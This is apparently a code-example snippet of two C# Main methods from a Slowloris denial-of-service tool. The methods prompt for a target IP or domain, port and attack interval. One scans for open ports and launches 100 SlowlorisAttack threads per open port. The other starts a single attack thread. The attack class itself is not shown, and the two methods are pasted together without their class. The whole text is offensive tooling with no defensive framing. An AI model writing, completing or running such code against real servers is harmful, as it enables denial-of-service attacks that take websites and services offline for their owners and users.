示例#1
0
        static void Main()
        {
            try
            {
                Console.Write("Enter the Targets I.P or Domain : ");
                string target = Console.ReadLine();

                int threadSleep = 20000;

                IPAddress ipAddress = GetAddress(target);

                ThreadPool.QueueUserWorkItem(StartScan, ipAddress);

                Console.WriteLine("Wait for the Thread to finish or press ENTER");

                Console.ReadKey();

                _stop = true;

                Console.Clear();
                Console.WriteLine("Waiting for sockets");
                Thread.Sleep(20000);

                Console.Clear();

                foreach (int openPort in OpenPorts)
                {
                    for (int i = 0; i < 100; i++)
                    {
                        SlowlorisAttack slow = new SlowlorisAttack(target, openPort, threadSleep, i);
                        ThreadStart     st   = new ThreadStart(slow.Manage);

                        Thread slowThread = new Thread(st);
                        slowThread.Start();
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message + "|" + ex.StackTrace);
            }
        }
        static void Main(string[] args)
        {
            Header();

            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine("example: 127.0.0.1 or www.target.com");
            Console.ResetColor();
            Console.Write("Enter the Targets I.P or Domain : ");
            string target = Console.ReadLine();


youGotItWrong:

            Console.WriteLine();
            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine("example: normal port number is 80");
            Console.ResetColor();
            Console.Write("Enter the Targets Port Number : ");
            string ports = Console.ReadLine();

            int number;
            int portStart;

            bool resultStart = int.TryParse(ports, out number);

            if (resultStart)
            {
                portStart = int.Parse(ports);
            }

            else
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Try Again NOOOB!!");
                Console.ResetColor();
                goto youGotItWrong;
                // return;
            }


            Console.WriteLine();
            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine("example: 1000 = 1 seconds / 500 = 0.5 seconds");
            Console.ResetColor();
            Console.Write("Enter How often To attack the Target : ");
            string sleep = Console.ReadLine();

            int number2;
            int threadSleep;

            bool resultStart2 = int.TryParse(sleep, out number2);

            if (resultStart2)
            {
                threadSleep = int.Parse(sleep);
            }

            else
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Try Again NOOOB!!");
                Console.ResetColor();
                goto youGotItWrong;
                // return;
            }


            SlowlorisAttack Slow = new SlowlorisAttack(target, portStart, threadSleep, true);
            ThreadStart     ST   = new ThreadStart(Slow.Manage);


            Thread SlowThread = new Thread(ST);

            SlowThread.Start();
        }